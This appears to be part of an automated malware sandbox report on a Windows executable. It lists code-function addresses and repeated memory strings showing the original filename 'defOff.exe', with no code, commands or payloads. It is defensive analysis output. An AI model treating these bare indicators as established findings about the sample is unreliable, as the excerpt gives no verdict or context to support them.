Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C3BC3A	0_2_05C3BC3A
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C2D7C1	0_2_05C2D7C1
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C387D0	0_2_05C387D0
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C397D5	0_2_05C397D5
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C11FD6	0_2_05C11FD6
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C007D8	0_2_05C007D8
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C197DA	0_2_05C197DA
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C0FFED	0_2_05C0FFED
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C407F0	0_2_05C407F0
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BFAF80	0_2_05BFAF80
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C1AF94	0_2_05C1AF94
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C2579E	0_2_05C2579E
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C2A7A2	0_2_05C2A7A2
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C027A3	0_2_05C027A3
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C1EFA5	0_2_05C1EFA5
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C307AE	0_2_05C307AE
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C06746	0_2_05C06746
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C16F49	0_2_05C16F49
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C41F49	0_2_05C41F49
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C2BF5C	0_2_05C2BF5C
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C1276B	0_2_05C1276B
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C1076D	0_2_05C1076D
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C22F74	0_2_05C22F74
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C0877E	0_2_05C0877E
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C2B705	0_2_05C2B705
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF8757	0_2_05BF8757
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C1BF29	0_2_05C1BF29
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C07729	0_2_05C07729
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C1372D	0_2_05C1372D
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C00F36	0_2_05C00F36
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C37734	0_2_05C37734
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C30EC3	0_2_05C30EC3
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C2CEDC	0_2_05C2CEDC
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C0F6E9	0_2_05C0F6E9
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C0CEEE	0_2_05C0CEEE
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C25EF8	0_2_05C25EF8
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C05EFE	0_2_05C05EFE
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C0C68C	0_2_05C0C68C
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C0EE91	0_2_05C0EE91
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C32691	0_2_05C32691
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF66E6	0_2_05BF66E6
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C29699	0_2_05C29699
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C1C6B8	0_2_05C1C6B8
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C3B6BF	0_2_05C3B6BF
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C11640	0_2_05C11640
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C3FE42	0_2_05C3FE42
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C42E43	0_2_05C42E43
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C18E5E	0_2_05C18E5E
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF767C	0_2_05BF767C
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C14617	0_2_05C14617
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C3A1C2	0_2_05C3A1C2
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C149D2	0_2_05C149D2
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C321DF	0_2_05C321DF
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C1E9E2	0_2_05C1E9E2
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C2B190	0_2_05C2B190
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C04195	0_2_05C04195
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C239A6	0_2_05C239A6
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C3D1A4	0_2_05C3D1A4
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C269AC	0_2_05C269AC
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C4196C	0_2_05C4196C
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C0117F	0_2_05C0117F
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C11107	0_2_05C11107
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05D1C933	0_2_05D1C933
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C2F928	0_2_05C2F928
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C2E929	0_2_05C2E929
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BFD150	0_2_05BFD150
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C3D935	0_2_05C3D935
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C1B13B	0_2_05C1B13B
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C108DB	0_2_05C108DB
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C140DE	0_2_05C140DE
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C0B8E1	0_2_05C0B8E1
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C2B8E3	0_2_05C2B8E3
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C0A8EA	0_2_05C0A8EA
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C230EE	0_2_05C230EE
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF7888	0_2_05BF7888
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C338A5	0_2_05C338A5
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C130A8	0_2_05C130A8
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C098B0	0_2_05C098B0
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C340B0	0_2_05C340B0
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C288B4	0_2_05C288B4
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C17843	0_2_05C17843
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C21054	0_2_05C21054
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF9822	0_2_05BF9822
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C16061	0_2_05C16061
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C09064	0_2_05C09064
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C2E066	0_2_05C2E066
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BFE017	0_2_05BFE017
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C01874	0_2_05C01874
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BFC809	0_2_05BFC809
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C2507C	0_2_05C2507C
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C0C800	0_2_05C0C800
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C42805	0_2_05C42805
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C28006	0_2_05C28006
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C3C007	0_2_05C3C007
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C0D805	0_2_05C0D805
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C11804	0_2_05C11804
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C0E019	0_2_05C0E019
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C0301C	0_2_05C0301C
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C03832	0_2_05C03832
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C05834	0_2_05C05834
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C3D03A	0_2_05C3D03A
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C0A03A	0_2_05C0A03A
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BFC3B6	0_2_05BFC3B6
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF93B3	0_2_05BF93B3
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C07BCC	0_2_05C07BCC
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C153CE	0_2_05C153CE
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C2E3D7	0_2_05C2E3D7
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C17BE5	0_2_05C17BE5
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C0B3ED	0_2_05C0B3ED
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BFA3FD	0_2_05BFA3FD
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C19391	0_2_05C19391
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C23393	0_2_05C23393
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C00399	0_2_05C00399
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C08BA0	0_2_05C08BA0
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C383A5	0_2_05C383A5
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BF7BD8	0_2_05BF7BD8
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C12BB0	0_2_05C12BB0
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C1A345	0_2_05C1A345
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C41B42	0_2_05C41B42
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C1C348	0_2_05C1C348
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C22B50	0_2_05C22B50
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C08356	0_2_05C08356
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C1F35F	0_2_05C1F35F
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C37362	0_2_05C37362
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C2736F	0_2_05C2736F
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C2C377	0_2_05C2C377
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C1137D	0_2_05C1137D
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C25B0D	0_2_05C25B0D
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C16B1A	0_2_05C16B1A
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C0CB2E	0_2_05C0CB2E
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BFE341	0_2_05BFE341
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BFA2B5	0_2_05BFA2B5
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C04AD6	0_2_05C04AD6
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C012D8	0_2_05C012D8
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BFBAA6	0_2_05BFBAA6
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C432E4	0_2_05C432E4
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C3C2FB	0_2_05C3C2FB
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C2A2FD	0_2_05C2A2FD
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05BFFAFB	0_2_05BFFAFB
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C3EA93	0_2_05C3EA93
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C0AA94	0_2_05C0AA94
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C3AA9F	0_2_05C3AA9F
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C29A9C	0_2_05C29A9C
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C1BAAA	0_2_05C1BAAA
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C1D24A	0_2_05C1D24A
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C30A4C	0_2_05C30A4C
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C02259	0_2_05C02259
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C05264	0_2_05C05264
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C29267	0_2_05C29267
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C36A6D	0_2_05C36A6D
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C35A00	0_2_05C35A00
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C33209	0_2_05C33209
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C3B212	0_2_05C3B212
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C2621E	0_2_05C2621E
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C32A24	0_2_05C32A24
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Code function: 0_2_05C05A37	0_2_05C05A37

Source: zhMQ0hNEmb.exe, 00000000.00000003.1600158009.0000000005BE2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000002.1737400768.000000000607F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1596954528.0000000005AEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1602042719.0000000005BED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1595508992.0000000005C84000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1616269399.0000000005AF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1591925144.0000000005AE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1617269054.0000000005D70000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1610346601.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1593246097.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1600287400.0000000005CD2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1616494391.0000000005C32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1595386014.0000000005BB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1595743144.0000000005AED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1598115816.0000000005AF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1615901495.0000000005D5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1599739969.0000000005AF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1615743958.0000000005C21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1603906179.0000000005CF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1599889335.0000000005BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1593096028.0000000005C32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1614183355.0000000005C13000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1594307957.0000000005AE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1601760395.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1593483723.0000000005C32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1592291222.0000000005B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1603697553.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1590440451.0000000005788000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1592843393.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1596671491.0000000005BC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1609500031.0000000005BFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1590440451.0000000005826000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1591715675.0000000005826000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1595200064.0000000005AE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1615568702.0000000005AE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1641891482.00000000056F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1592716084.0000000005B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1617473618.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1612130622.0000000005D11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1597785561.0000000005CA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1613834955.0000000005C15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1593695037.0000000005B9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1594113020.0000000005BA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1599598120.0000000005CBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1595909499.0000000005BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1593801650.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1600020090.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1604567463.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1593352104.0000000005B8B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1596072212.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1594206013.0000000005C63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1611564109.0000000005BF7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1593586527.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1613467834.0000000005C0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1600553897.0000000005BF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1599459278.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1614903252.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1592168332.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
Source: zhMQ0hNEmb.exe, 00000000.00000003.1592584891.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs zhMQ0hNEmb.exe
